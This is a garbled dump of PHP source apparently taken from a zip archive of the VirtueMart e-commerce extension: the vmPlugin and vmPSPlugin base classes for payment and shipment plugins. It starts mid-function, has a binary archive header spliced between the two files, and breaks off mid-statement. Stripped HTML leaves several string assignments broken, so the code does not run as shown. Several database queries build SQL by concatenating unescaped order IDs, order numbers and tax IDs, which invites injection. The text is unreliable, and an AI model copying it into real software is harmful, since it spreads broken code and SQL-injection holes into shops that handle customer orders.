$this->_varsToPushParam); return TRUE; } } /** * @param $psType * @param $name * @param $id * @param $data * @return bool */ protected function declarePluginParams ($psType, $name, $id, &$data) { //vmdebug('declarePluginParams '.$this->_psType.' '.$psType); //Todo I know a test only on seledtThis is wrong here, it works now with extra !empty($this->_psType) if(!empty($this->_psType) and !$this->selectedThis($psType,$name,$id)){ return FALSE; } if (!class_exists ('VmTable')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'vmtable.php'); } VmTable::bindParameterable ($data, $this->_xParams, $this->_varsToPushParam); if($this->_cryptedFields){ $data->setCryptedFields($this->_cryptedFields); } return TRUE; // vmdebug('getDeclaredPluginParams return '.$this->_xParams); // return array($this->_xParams,$this->_varsToPushParam); // } else { // return false; // } } /** * @param $int * @return mixed */ protected function getVmPluginMethod ($int, $cache = true) { if ($this->_vmpCtable === 0 || !$cache) { $db = JFactory::getDBO (); if (!class_exists ($this->_configTableClassName)) { require(JPATH_VM_ADMINISTRATOR . DS . 'tables' . DS . $this->_configTableFileName . '.php'); } $this->_vmpCtable = new $this->_configTableClassName($db); if ($this->_xParams !== 0) { $this->_vmpCtable->setParameterable ($this->_xParams, $this->_varsToPushParam); } if($this->_cryptedFields){ $this->_vmpCtable->setCryptedFields($this->_cryptedFields); } // $this->_vmpCtable = $this->createPluginTableObject($this->_tablename,$this->tableFields,$this->_loggable); } return $this->_vmpCtable->load ($int); } /** * This stores the data of the plugin, attention NOT the configuration of the pluginmethod, * this function should never be triggered only called from triggered functions. * * @author Max Milbers * @param array $values array or object with the data to store * @param string $tableName When different then the default of the plugin, provid it here * @param string $tableKey an additionally unique key */ protected function storePluginInternalData (&$values, $primaryKey = 0, $id = 0, $preload = FALSE) { if ($primaryKey === 0) { $primaryKey = $this->_tablepkey; } if ($this->_vmpItable === 0 or $id==0) { $this->_vmpItable = $this->createPluginTableObject ($this->_tablename, $this->tableFields, $primaryKey, $this->_tableId, $this->_loggable); } $this->_vmpItable->bindChecknStore ($values, $preload); //vmdebug('storePluginInternalData',$values,$this->_vmpItable); $errors = $this->_vmpItable->getErrors (); if (!empty($errors)) { foreach ($errors as $error) { vmError ($error); } } return $values; } /** * This loads the data stored by the plugin before, NOT the configuration of the method, * this function should never be triggered only called from triggered functions. * * @param int $id * @param string $primaryKey */ protected function getPluginInternalData ($id, $primaryKey = 0) { if ($primaryKey === 0) { $primaryKey = $this->_tablepkey; } if ($this->_vmpItable === 0) { $this->_vmpItable = $this->createPluginTableObject ($this->_tablename, $this->tableFields, $primaryKey, $this->_tableId, $this->_loggable); } // vmdebug('getPluginInternalData $id '.$id.' and $primaryKey '.$primaryKey); return $this->_vmpItable->load ($id); } /** * @param $tableName * @param $tableFields * @param $primaryKey * @param $tableId * @param bool $loggable * @return VmTableData */ protected function createPluginTableObject ($tableName, $tableFields, $primaryKey, $tableId, $loggable = FALSE) { if (!class_exists ('VmTableData')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'vmtabledata.php'); } $db = JFactory::getDBO (); $table = new VmTableData($tableName, $tableId, $db); foreach ($tableFields as $field) { $table->$field = 0; } if ($primaryKey !== 0) { $table->setPrimaryKey ($primaryKey); } if ($loggable) { $table->setLoggable (); } if($this->_cryptedFields){ $this->_vmpCtable->setCryptedFields($this->_cryptedFields); } if (!$this->_tableChecked) { $this->onStoreInstallPluginTable ($this->_psType); $this->_tableChecked = TRUE; } return $table; } /** * @param $id * @param int $primaryKey * @return mixed */ protected function removePluginInternalData ($id, $primaryKey = 0) { if ($primaryKey === 0) { $primaryKey = $this->_tablepkey; } if ($this->_vmpItable === 0) { $this->_vmpItable = $this->createPluginTableObject ($this->_tablename, $this->tableFields, $primaryKey, $this->_tableId, $this->_loggable); } vmdebug ('removePluginInternalData $id ' . $id . ' and $primaryKey ' . $primaryKey); return $this->_vmpItable->delete ($id); } /** * Get the path to a layout for a type * * @param string $type The name of the type * @param string $layout The name of the type layout. If alternative * layout, in the form template:filename. * @param array $viewData The data you want to use in the layout * can be an object/array/string... to reuse in the template * @return string The path to the type layout * original from libraries\joomla\application\module\helper.php * @since 11.1 * @author Patrick Kohl, Valérie Isaksen */ public function renderByLayout ($layout = 'default', $viewData = NULL, $name = NULL, $psType = NULL) { if ($name === NULL) { $name = $this->_name; } if ($psType === NULL) { $psType = $this->_psType; } $layout = vmPlugin::_getLayoutPath ($name, 'vm' . $psType, $layout); ob_start (); include ($layout); return ob_get_clean (); } /** * Note: We have 2 subfolders for versions > J15 for 3rd parties developers, to avoid 2 installers * * @author Patrick Kohl, Valérie Isaksen */ private function _getLayoutPath ($pluginName, $group, $layout = 'default') { $app = JFactory::getApplication (); // get the template and default paths for the layout if (JVM_VERSION === 2) { $templatePath = JPATH_SITE . DS . 'templates' . DS . $app->getTemplate () . DS . 'html' . DS . $group . DS . $pluginName . DS . $layout . '.php'; $defaultPath = JPATH_SITE . DS . 'plugins' . DS . $group . DS . $pluginName . DS . $pluginName . DS . 'tmpl' . DS . $layout . '.php'; } else { $templatePath = JPATH_SITE . DS . 'templates' . DS . $app->getTemplate () . DS . 'html' . DS . $group . DS . $pluginName . DS . $layout . '.php'; $defaultPath = JPATH_SITE . DS . 'plugins' . DS . $group . DS . $pluginName . DS . 'tmpl' . DS . $layout . '.php'; } // if the site template has a layout override, use it jimport ('joomla.filesystem.file'); if (JFile::exists ($templatePath)) { return $templatePath; } else { return $defaultPath; } } } PK@y>\oixx0components/com_virtuemart/plugins/vmpsplugin.phpnuW+A_tablepkey = 'id'; //virtuemart_order_id'; $this->_idName = 'virtuemart_' . $this->_psType . 'method_id'; $this->_configTable = '#__virtuemart_' . $this->_psType . 'methods'; $this->_configTableFieldName = $this->_psType . '_params'; $this->_configTableFileName = $this->_psType . 'methods'; $this->_configTableClassName = 'Table' . ucfirst ($this->_psType) . 'methods'; //TablePaymentmethods // $this->_configTableIdName = $this->_psType.'_jplugin_id'; $this->_loggable = TRUE; $this->_tableChecked = TRUE; } public function getVarsToPush () { $black_list = array('spacer'); $data = array(); if (JVM_VERSION === 2) { $filename = JPATH_SITE . '/plugins/' . $this->_type . '/' . $this->_name . '/' . $this->_name . '.xml'; } else { $filename = JPATH_SITE . '/plugins/' . $this->_type . '/' . $this->_name . '.xml'; } // Check of the xml file exists $filePath = JPath::clean ($filename); if (is_file ($filePath)) { $xml = JFactory::getXMLParser ('simple'); $result = $xml->loadFile ($filename); if ($result) { if ($params = $xml->document->params) { foreach ($params as $param) { if ($param->_name = "params") { if ($children = $param->_children) { foreach ($children as $child) { if (isset($child->_attributes['name'])) { $data[$child->_attributes['name']] = array('', 'char'); $result = TRUE; } } } } } } } } return $data; } /** * check if it is the correct type * * @param string $psType either payment or shipment * @return boolean */ public function selectedThisType ($psType) { if ($this->_psType <> $psType) { return FALSE; } else { return TRUE; } } /** * Create the table for this plugin if it does not yet exist. * This functions checks if the called plugin is active one. * When yes it is calling the standard method to create the tables * * @author Valérie Isaksen * */ protected function onStoreInstallPluginTable ($jplugin_id, $name = FALSE) { if ($res = $this->selectedThisByJPluginId ($jplugin_id)) { parent::onStoreInstallPluginTable ($this->_psType); } return $res; } /** * This event is fired after the payment method has been selected. It can be used to store * additional payment info in the cart. * * @author Max Milbers * @author Valérie isaksen * * @param VirtueMartCart $cart: the actual cart * @return null if the payment was not selected, true if the data is valid, error message if the data is not vlaid * */ public function onSelectCheck (VirtueMartCart $cart) { $idName = $this->_idName; //vmdebug('OnSelectCheck',$idName); if (!$this->selectedThisByMethodId ($cart->$idName)) { return NULL; // Another method was selected, do nothing } return TRUE; // this method was selected , and the data is valid by default } /** * displayListFE * This event is fired to display the pluginmethods in the cart (edit shipment/payment) for example * * @param object $cart Cart object * @param integer $selected ID of the method selected * @return boolean True on success, false on failures, null when this plugin was not selected. * On errors, JError::raiseWarning (or JError::raiseError) must be used to set a message. * * @author Valerie Isaksen * @author Max Milbers */ public function displayListFE (VirtueMartCart $cart, $selected = 0, &$htmlIn) { if ($this->getPluginMethods ($cart->vendorId) === 0) { if (empty($this->_name)) { vmAdminInfo ('displayListFE cartVendorId=' . $cart->vendorId); $app = JFactory::getApplication (); $app->enqueueMessage (JText::_ ('COM_VIRTUEMART_CART_NO_' . strtoupper ($this->_psType))); return FALSE; } else { return FALSE; } } $html = array(); $method_name = $this->_psType . '_name'; foreach ($this->methods as $method) { if ($this->checkConditions ($cart, $method, $cart->pricesUnformatted)) { //$methodSalesPrice = $this->calculateSalesPrice ($cart, $method, $cart->pricesUnformatted); /* Because of OPC: the price must not be overwritten directly in the cart */ $pricesUnformatted= $cart->pricesUnformatted; $methodSalesPrice = $this->setCartPrices ($cart, $pricesUnformatted,$method); $method->$method_name = $this->renderPluginName ($method); $html [] = $this->getPluginHtml ($method, $selected, $methodSalesPrice); } } if (!empty($html)) { $htmlIn[] = $html; return TRUE; } return FALSE; } /* * onSelectedCalculatePrice * Calculate the price (value, tax_id) of the selected method * It is called by the calculator * This function does NOT to be reimplemented. If not reimplemented, then the default values from this function are taken. * @author Valerie Isaksen * @cart: VirtueMartCart the current cart * @cart_prices: array the new cart prices * @return null if the method was not selected, false if the shipping rate is not valid any more, true otherwise * */ public function onSelectedCalculatePrice (VirtueMartCart $cart, array &$cart_prices, &$cart_prices_name) { $id = $this->_idName; //vmTime('onSelectedCalculatePrice before test '.$cart->$id,'prepareCartData'); if (!($method = $this->selectedThisByMethodId ($cart->$id))) { return NULL; // Another method was selected, do nothing } if (!($method = $this->getVmPluginMethod ($cart->$id))) { return NULL; } $cart_prices_name = ''; $cart_prices['cost'] = 0; if (!$this->checkConditions ($cart, $method, $cart_prices)) { return FALSE; } $cart_prices_name = $this->renderPluginName ($method); $this->setCartPrices ($cart, $cart_prices, $method); return TRUE; } /** * onCheckAutomaticSelected * Checks how many plugins are available. If only one, the user will not have the choice. Enter edit_xxx page * The plugin must check first if it is the correct type * * @author Valerie Isaksen * @param VirtueMartCart cart: the cart object * @return null if no plugin was found, 0 if more then one plugin was found, virtuemart_xxx_id if only one plugin is found * */ function onCheckAutomaticSelected (VirtueMartCart $cart, array $cart_prices = array(), &$methodCounter = 0) { $virtuemart_pluginmethod_id = 0; $nbMethod = $this->getSelectable ($cart, $virtuemart_pluginmethod_id, $cart_prices); $methodCounter += $nbMethod; if ($nbMethod == NULL) { return NULL; } else { if ($nbMethod == 1) { return $virtuemart_pluginmethod_id; } else { return 0; } } } /** * This method is fired when showing the order details in the frontend. * It displays the method-specific data. * * @param integer $order_id The order ID * @return mixed Null for methods that aren't active, text (HTML) otherwise * @author Max Milbers * @author Valerie Isaksen */ protected function onShowOrderFE ($virtuemart_order_id, $virtuemart_method_id, &$method_info) { if (!($this->selectedThisByMethodId ($virtuemart_method_id))) { return NULL; } $method_info = $this->getOrderMethodNamebyOrderId ($virtuemart_order_id); } /** * * @author Valerie Isaksen * @author Max Milbers * @param int $virtuemart_order_id * @return string pluginName from the plugin table */ private function getOrderMethodNamebyOrderId ($virtuemart_order_id) { $db = JFactory::getDBO (); $q = 'SELECT * FROM `' . $this->_tablename . '` ' . 'WHERE `virtuemart_order_id` = ' . $virtuemart_order_id; $db->setQuery ($q); $err =$db->getErrorMsg (); if (!($pluginInfo = $db->loadObject ())) { vmdebug ('Attention, ' . $this->_tablename . ' has not any entry for order_id = '.$virtuemart_order_id); if(!empty($err)){ vmWarn ('Attention, ' . $this->_tablename . ' has not any entry for order_id = '.$virtuemart_order_id. ' err = '.$err); } return NULL; } $idName = $this->_psType . '_name'; return $pluginInfo->$idName; } /** * * @author Valerie Isaksen * @author Max Milbers * @param int $virtuemart_order_id * @return string pluginName from the plugin table */ private function getOrderPluginNamebyOrderId ($virtuemart_order_id) { $db = JFactory::getDBO (); $q = 'SELECT * FROM `' . $this->_tablename . '` ' . 'WHERE `virtuemart_order_id` = ' . $virtuemart_order_id; $db->setQuery ($q); if (!($pluginInfo = $db->loadObject ())) { vmWarn (500, $q . " getOrderPluginNamebyOrderId " . $db->getErrorMsg ()); return NULL; } $idName = $this->_idName; return $pluginInfo->$idName; } /** * check if it is the correct element * * @param string $element either standard or paypal * @return boolean */ public function selectedThisElement ($element) { if ($this->_name <> $element) { return FALSE; } else { return TRUE; } } /** * This method is fired when showing the order details in the backend. * It displays the the payment method-specific data. * All plugins *must* reimplement this method. * * @param integer $_virtuemart_order_id The order ID * @param integer $_paymethod_id Payment method used for this order * @return mixed Null when for payment methods that were not selected, text (HTML) otherwise * @author Max Milbers * @author Valerie Isaksen */ function onShowOrderBE ($_virtuemart_order_id, $_method_id) { return NULL; } /** * This method is fired when showing when priting an Order * It displays the the payment method-specific data. * * @param integer $_virtuemart_order_id The order ID * @param integer $method_id method used for this order * @return mixed Null when for payment methods that were not selected, text (HTML) otherwise * @author Valerie Isaksen */ function onShowOrderPrint ($order_number, $method_id) { if (!$this->selectedThisByMethodId ($method_id)) { return NULL; // Another method was selected, do nothing } if (!($order_name = $this->getOrderPluginName ($order_number, $method_id))) { return NULL; } VmConfig::loadJLang('com_virtuemart'); $html = '' . "\n" . ' ' . "\n" . ' ' . "\n" . ' ' . "\n" . ' ' . "\n" . ' ' . "\n" . ' ' . "\n" . ' ' . "\n" . ' ' . "\n" . ' ' . "\n"; $html .= '
      ' . JText::_ ('COM_VIRTUEMART_ORDER_PRINT_' . strtoupper($this->_type) . '_LBL') . '
      ' . JText::_ ('COM_VIRTUEMART_ORDER_PRINT_' . strtoupper($this->_type) . '_LBL') . ': ' . $order_name . '
      ' . "\n"; return $html; } private function getOrderPluginName ($order_number, $pluginmethod_id) { $db = JFactory::getDBO (); $q = 'SELECT * FROM `' . $this->_tablename . '` WHERE `order_number` = "' . $order_number . '" AND `' . $this->_idName . '` =' . $pluginmethod_id; $db->setQuery ($q); if (!($order = $db->loadObject ())) { return NULL; } $plugin_name = $this->_psType . '_name'; return $order->$plugin_name; } /** * Save updated order data to the method specific table * * @param array $_formData Form data * @return mixed, True on success, false on failures (the rest of the save-process will be * skipped!), or null when this method is not actived. * @author Oscar van Eijk */ public function onUpdateOrder ($formData) { return NULL; } /** * Save updated orderline data to the method specific table * * @param array $_formData Form data * @return mixed, True on success, false on failures (the rest of the save-process will be * skipped!), or null when this method is not actived. * @author Oscar van Eijk */ public function onUpdateOrderLine ($formData) { return NULL; } /** * OnEditOrderLineBE * This method is fired when editing the order line details in the backend. * It can be used to add line specific package codes * * @param integer $_orderId The order ID * @param integer $_lineId * @return mixed Null for method that aren't active, text (HTML) otherwise * @author Oscar van Eijk */ public function onEditOrderLineBE ($orderId, $lineId) { return NULL; } /** * This method is fired when showing the order details in the frontend, for every orderline. * It can be used to display line specific package codes, e.g. with a link to external tracking and * tracing systems * * @param integer $_orderId The order ID * @param integer $_lineId * @return mixed Null for method that aren't active, text (HTML) otherwise * @author Oscar van Eijk */ public function onShowOrderLineFE ($orderId, $lineId) { return NULL; } /** * This event is fired when the method notifies you when an event occurs that affects the order. * Typically, the events represents for payment authorizations, Fraud Management Filter actions and other actions, * such as refunds, disputes, and chargebacks. * * NOTE for Plugin developers: * If the plugin is NOT actually executed (not the selected payment method), this method must return NULL * * @param $return_context: it was given and sent in the payment form. The notification should return it back. * Used to know which cart should be emptied, in case it is still in the session. * @param int $virtuemart_order_id : payment order id * @param char $new_status : new_status for this order id. * @return mixed Null when this method was not selected, otherwise the true or false * * @author Valerie Isaksen * */ public function onNotification () { return NULL; } /** * OnResponseReceived * This event is fired when the method returns to the shop after the transaction * * the method itself should send in the URL the parameters needed * NOTE for Plugin developers: * If the plugin is NOT actually executed (not the selected payment method), this method must return NULL * * @param int $virtuemart_order_id : should return the virtuemart_order_id * @param text $html: the html to display * @return mixed Null when this method was not selected, otherwise the true or false * * @author Valerie Isaksen * */ function onResponseReceived (&$virtuemart_order_id, &$html) { return NULL; } function getDebug () { return $this->_debug; } function setDebug ($params) { return $this->_debug = $params->get ('debug', 0); } /** * Get Plugin Data for a go given plugin ID * * @author Valérie Isaksen * @param int $pluginmethod_id The method ID * @return method data */ final protected function getPluginMethod ($method_id) { if (!$this->selectedThisByMethodId ($method_id)) { return FALSE; } return $this->getVmPluginMethod ($method_id); } /** * Fill the array with all plugins found with this plugin for the current vendor * * @return True when plugins(s) was (were) found for this vendor, false otherwise * @author Oscar van Eijk * @author max Milbers * @author valerie Isaksen */ protected function getPluginMethods ($vendorId) { if (!class_exists ('VirtueMartModelUser')) { require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'user.php'); } $usermodel = VmModel::getModel ('user'); $user = $usermodel->getUser (); $user->shopper_groups = (array)$user->shopper_groups; $db = JFactory::getDBO (); $select = 'SELECT l.*, v.*, '; if (JVM_VERSION === 1) { $extPlgTable = '#__plugins'; $extField1 = 'id'; $extField2 = 'element'; $select .= 'j.`' . $extField1 . '`, j.`name`, j.`element`, j.`folder`, j.`client_id`, j.`access`, j.`params`, j.`checked_out`, j.`checked_out_time`, s.virtuemart_shoppergroup_id '; } else { $extPlgTable = '#__extensions'; $extField1 = 'extension_id'; $extField2 = 'element'; $select .= 'j.`' . $extField1 . '`,j.`name`, j.`type`, j.`element`, j.`folder`, j.`client_id`, j.`enabled`, j.`access`, j.`protected`, j.`manifest_cache`, j.`params`, j.`custom_data`, j.`system_data`, j.`checked_out`, j.`checked_out_time`, j.`state`, s.virtuemart_shoppergroup_id '; } if(!defined(VMLANG)){ VmConfig::setdbLanguageTag(); } $q = $select . ' FROM `#__virtuemart_' . $this->_psType . 'methods_' . VMLANG . '` as l '; $q .= ' JOIN `#__virtuemart_' . $this->_psType . 'methods` AS v USING (`virtuemart_' . $this->_psType . 'method_id`) '; $q .= ' LEFT JOIN `' . $extPlgTable . '` as j ON j.`' . $extField1 . '` = v.`' . $this->_psType . '_jplugin_id` '; $q .= ' LEFT OUTER JOIN `#__virtuemart_' . $this->_psType . 'method_shoppergroups` AS s ON v.`virtuemart_' . $this->_psType . 'method_id` = s.`virtuemart_' . $this->_psType . 'method_id` '; $q .= ' WHERE v.`published` = "1" AND j.`' . $extField2 . '` = "' . $this->_name . '" AND (v.`virtuemart_vendor_id` = "' . $vendorId . '" OR v.`virtuemart_vendor_id` = "0") AND ('; foreach ($user->shopper_groups as $groups) { $q .= ' s.`virtuemart_shoppergroup_id`= "' . (int)$groups . '" OR'; } $q .= ' (s.`virtuemart_shoppergroup_id`) IS NULL ) GROUP BY v.`virtuemart_' . $this->_psType . 'method_id` ORDER BY v.`ordering`'; $db->setQuery ($q); $this->methods = $db->loadObjectList (); $err = $db->getErrorMsg (); if (!empty($err)) { vmError ('Error reading getPluginMethods ' . $err); } if ($this->methods) { foreach ($this->methods as $method) { VmTable::bindParameterable ($method, $this->_xParams, $this->_varsToPushParam); } } return count ($this->methods); } /** * Get Method Data for a given Payment ID * * @author Valérie Isaksen * @param int $virtuemart_order_id The order ID * @return $methodData */ final protected function getDataByOrderId ($virtuemart_order_id) { $db = JFactory::getDBO (); $q = 'SELECT * FROM `' . $this->_tablename . '` ' . 'WHERE `virtuemart_order_id` = ' . $virtuemart_order_id; $db->setQuery ($q); $methodData = $db->loadObject (); return $methodData; } /** * Get Method Datas for a given Payment ID * * @author Valérie Isaksen * @param int $virtuemart_order_id The order ID * @return $methodData */ final protected function getDatasByOrderId ($virtuemart_order_id) { $db = JFactory::getDBO (); $q = 'SELECT * FROM `' . $this->_tablename . '` ' . 'WHERE `virtuemart_order_id` = ' . $virtuemart_order_id; $db->setQuery ($q); $methodData = $db->loadObjectList (); return $methodData; } /** * Get the total weight for the order, based on which the proper shipping rate * can be selected. * * @param object $cart Cart object * @return float Total weight for the order * @author Oscar van Eijk */ protected function getOrderWeight (VirtueMartCart $cart, $to_weight_unit) { static $weight = 0.0; if(count($cart->products)>0 and empty($weight)){ foreach ($cart->products as $product) { $weight += (ShopFunctions::convertWeightUnit ($product->product_weight, $product->product_weight_uom, $to_weight_unit) * $product->quantity); } } return $weight; } /** * getThisName * Get the name of the method * * @param int $id The method ID * @author Valérie Isaksen * @return string Shipment name */ final protected function getThisName ($virtuemart_method_id) { $db = JFactory::getDBO (); $q = 'SELECT `' . $this->_psType . '_name` ' . 'FROM #__virtuemart_' . $this->_psType . 'methods ' . 'WHERE ' . $this->_idName . ' = "' . $virtuemart_method_id . '" '; $db->setQuery ($q); return $db->loadResult (); // TODO Error check } /** * Extends the standard function in vmplugin. Extendst the input data by virtuemart_order_id * Calls the parent to execute the write operation * * @author Max Milbers * @param array $_values * @param string $_table */ protected function storePSPluginInternalData ($values, $primaryKey = 0, $preload = FALSE) { if (!class_exists ('VirtueMartModelOrders')) { require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'orders.php'); } if (!isset($values['virtuemart_order_id'])) { $values['virtuemart_order_id'] = VirtueMartModelOrders::getOrderIdByOrderNumber ($values['order_number']); } return $this->storePluginInternalData ($values, $primaryKey, 0, $preload); } /** * Something went wrong, Send notification to all administrators * * @param string subject of the mail * @param string message */ protected function sendEmailToVendorAndAdmins ($subject = NULL, $message = NULL) { // recipient is vendor and admin $vendorId = 1; $vendorModel = VmModel::getModel('vendor'); $vendor = $vendorModel->getVendor($vendorId); $vendorEmail = $vendorModel->getVendorEmail($vendorId); $vendorName = $vendorModel->getVendorName($vendorId); VmConfig::loadJLang('com_virtuemart'); if ($subject == NULL) { $subject = JText::sprintf('COM_VIRTUEMART_ERROR_SUBJECT', $this->_name, $vendor->vendor_store_name); } if ($message == NULL) { $link=juri::root().'administrator/index.php?option=com_virtuemart&view=log&task=edit&logfile='.$this->getLogFilename().VmConfig::LOGFILEEXT; //$logFileLink=''.$this->getLogFilename().VmConfig::LOGFILEEXT.''; $message = JText::sprintf('COM_VIRTUEMART_ERROR_BODY', $subject, $link); } JUtility::sendMail($vendorEmail, $vendorName, $vendorEmail, $subject, $message); if (JVM_VERSION === 1) { //get all super administrator $query = 'SELECT name, email, sendEmail' . ' FROM #__users' . ' WHERE LOWER( usertype ) = "super administrator"'; } else { $query = 'SELECT name, email, sendEmail' . ' FROM #__users' . ' WHERE sendEmail=1'; } $db = JFactory::getDBO(); $db->setQuery($query); $rows = $db->loadObjectList(); $subject = html_entity_decode($subject, ENT_QUOTES); // get superadministrators id foreach ($rows as $row) { if ($row->sendEmail) { $message = html_entity_decode($message, ENT_QUOTES); JUtility::sendMail($vendorEmail, $vendorName, $row->email, $subject, $message); } } } /** * displays the logos of a VirtueMart plugin * * @author Valerie Isaksen * @author Max Milbers * @param array $logo_list * @return html with logos */ protected function displayLogos ($logo_list) { $img = ""; if (!(empty($logo_list))) { $url = JURI::root () . 'images/stories/virtuemart/' . $this->_psType . '/'; if (!is_array ($logo_list)) { $logo_list = (array)$logo_list; } foreach ($logo_list as $logo) { $alt_text = substr ($logo, 0, strpos ($logo, '.')); $img .= ' '; } } return $img; } /** * @param $plugin plugin */ protected function renderPluginName ($plugin) { $return = ''; $plugin_name = $this->_psType . '_name'; $plugin_desc = $this->_psType . '_desc'; $description = ''; // $params = new JParameter($plugin->$plugin_params); // $logo = $params->get($this->_psType . '_logos'); $logosFieldName = $this->_psType . '_logos'; $logos = $plugin->$logosFieldName; if (!empty($logos)) { $return = $this->displayLogos ($logos) . ' '; } if (!empty($plugin->$plugin_desc)) { $description = '' . $plugin->$plugin_desc . ''; } $pluginName = $return . '' . $plugin->$plugin_name . '' . $description; return $pluginName; } protected function getPluginHtml ($plugin, $selectedPlugin, $pluginSalesPrice) { $pluginmethod_id = $this->_idName; $pluginName = $this->_psType . '_name'; if ($selectedPlugin == $plugin->$pluginmethod_id) { $checked = 'checked="checked"'; } else { $checked = ''; } if (!class_exists ('CurrencyDisplay')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'currencydisplay.php'); } $currency = CurrencyDisplay::getInstance (); $costDisplay = ""; if ($pluginSalesPrice) { $costDisplay = $currency->priceDisplay ($pluginSalesPrice); $costDisplay = ' (' . JText::_ ('COM_VIRTUEMART_PLUGIN_COST_DISPLAY') . $costDisplay . ")"; } $html = '\n" . '\n"; return $html; } /** * */ protected function getHtmlHeaderBE () { $class = "class='key'"; $html = ' ' . "\n" . ' ' . "\n" . ' ' . JText::_ ('COM_VIRTUEMART_ORDER_PRINT_' . strtoupper($this->_psType) . '_LBL') . '' . "\n" . ' ' . "\n" . ' ' . "\n"; return $html; } /** * */ protected function getHtmlRow ($key, $value, $class = '') { $lang = JFactory::getLanguage (); $key_text = ''; $complete_key = strtoupper ($this->_type . '_' . $key); // vmdebug('getHtmlRow',$key,$complete_key); // vmdebug('getHtmlRow',$key,$complete_key); if ($lang->hasKey($complete_key)) { $key_text = JText::_ ($complete_key); } else { $key_text = JText::_ ($key); } $more_key = strtoupper($complete_key . '_' . $value); if ($lang->hasKey ($more_key)) { $value .= " (" . JText::_ ($more_key) . ")"; } $html = "\n" . $key_text . "\n " . $value . "\n\n"; return $html; } function getHtmlRowBE ($key, $value) { return $this->getHtmlRow ($key, $value, "class='key'"); } /** * getSelectable * This method returns the number of valid methods * * @param VirtueMartCart cart: the cart object * @param $method_id eg $virtuemart_shipmentmethod_id * */ function getSelectable (VirtueMartCart $cart, &$method_id, $cart_prices) { $nbMethod = 0; if ($this->getPluginMethods ($cart->vendorId) === 0) { return FALSE; } foreach ($this->methods as $method) { if ($nb = (int)$this->checkConditions ($cart, $method, $cart_prices)) { $nbMethod = $nbMethod + $nb; $idName = $this->_idName; $method_id = $method->$idName; } } return $nbMethod; } /** * * Enter description here ... * * @author Valerie Isaksen * @author Max Milbers * @param VirtueMartCart $cart * @param int $method * @param array $cart_prices */ protected function checkConditions ($cart, $method, $cart_prices) { vmAdminInfo ('vmPsPlugin function checkConditions not overriden, gives always back FALSE'); return FALSE; } /** * @param $method */ function convert_condition_amount (&$method) { $method->min_amount = (float)str_replace(',','.',$method->min_amount); $method->max_amount = (float)str_replace(',','.',$method->max_amount); } /** * @param $method * @param bool $getCurrency */ static function getPaymentCurrency (&$method, $getCurrency = FALSE) { if (!isset($method->payment_currency) or empty($method->payment_currency) or !$method->payment_currency or $getCurrency) { // if (!class_exists('VirtueMartModelVendor')) require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'vendor.php'); $vendorId = 1; //VirtueMartModelVendor::getLoggedVendor(); $db = JFactory::getDBO (); $q = 'SELECT `vendor_currency` FROM `#__virtuemart_vendors` WHERE `virtuemart_vendor_id`=' . $vendorId; $db->setQuery ($q); $method->payment_currency = $db->loadResult (); } } function getEmailCurrency (&$method) { if (!isset($method->email_currency) or $method->email_currency=='vendor') { // if (!class_exists('VirtueMartModelVendor')) require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'vendor.php'); $vendorId = 1; //VirtueMartModelVendor::getLoggedVendor(); $db = JFactory::getDBO (); $q = 'SELECT `vendor_currency` FROM `#__virtuemart_vendors` WHERE `virtuemart_vendor_id`=' . $vendorId; $db->setQuery ($q); return $db->loadResult (); } else { return $method->payment_currency; // either the vendor currency, either same currency as payment } } /** * displayTaxRule * * @param int $tax_id * @return string $html: */ function displayTaxRule ($tax_id) { $html = ''; $db = JFactory::getDBO (); if (!empty($tax_id)) { $q = 'SELECT * FROM #__virtuemart_calcs WHERE `virtuemart_calc_id`="' . $tax_id . '" '; $db->setQuery ($q); $taxrule = $db->loadObject (); $html = $taxrule->calc_name . '(' . $taxrule->calc_kind . ':' . $taxrule->calc_value_mathop . $taxrule->calc_value . ')'; } return $html; } function getCosts (VirtueMartCart $cart, $method, $cart_prices) { if (preg_match ('/%$/', $method->cost_percent_total)) { $method->cost_percent_total = substr ($method->cost_percent_total, 0, -1); } else { $method->cost_percent_total = $method->cost_percent_total; } $cartPrice = !empty($cart_prices['withTax'])? $cart_prices['withTax']:$cart_prices['salesPrice']; return ($method->cost_per_transaction + ($cartPrice * $method->cost_percent_total * 0.01)); } /** * Get the cart amount for checking conditions if the payment conditions are fullfilled * @param $cart_prices * @return mixed */ function getCartAmount($cart_prices){ if(empty($cart_prices['salesPrice'])) $cart_prices['salesPrice'] = 0.0; $cartPrice = !empty($cart_prices['withTax'])? $cart_prices['withTax']:$cart_prices['salesPrice']; if(empty($cart_prices['salesPriceShipment'])) $cart_prices['salesPriceShipment'] = 0.0; if(empty($cart_prices['salesPriceCoupon'])) $cart_prices['salesPriceCoupon'] = 0.0; $amount= $cartPrice + $cart_prices['salesPriceShipment'] + $cart_prices['salesPriceCoupon'] ; if ($amount <= 0) $amount=0; return $amount; } /** * update the plugin cart_prices * * @author Valérie Isaksen * * @param $cart_prices: $cart_prices['salesPricePayment'] and $cart_prices['paymentTax'] updated. Displayed in the cart. * @param $value : fee * @param $tax_id : tax id */ function setCartPrices (VirtueMartCart $cart, &$cart_prices, $method, $progressive = true) { if (!class_exists ('calculationHelper')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'calculationh.php'); } $_psType = ucfirst ($this->_psType); $calculator = calculationHelper::getInstance (); $cart_prices[$this->_psType . 'Value'] = $calculator->roundInternal ($this->getCosts ($cart, $method, $cart_prices), 'salesPrice'); if($this->_psType=='payment'){ $cartTotalAmountOrig=$this->getCartAmount($cart_prices); if(!$progressive){ //Simple $cartTotalAmount=($cartTotalAmountOrig + $method->cost_per_transaction) * (1 +($method->cost_percent_total * 0.01)); vmdebug('Simple $cartTotalAmount = ('.$cartTotalAmountOrig.' + '.$method->cost_per_transaction.') * (1 + ('.$method->cost_percent_total.' * 0.01)) = '.$cartTotalAmount ); vmdebug('Simple $cartTotalAmount = '.($cartTotalAmountOrig + $method->cost_per_transaction).' * '. (1 + $method->cost_percent_total * 0.01) .' = '.$cartTotalAmount ); } else { //progressive $cartTotalAmount = ($cartTotalAmountOrig + $method->cost_per_transaction) / (1 -($method->cost_percent_total * 0.01)); vmdebug('Progressive 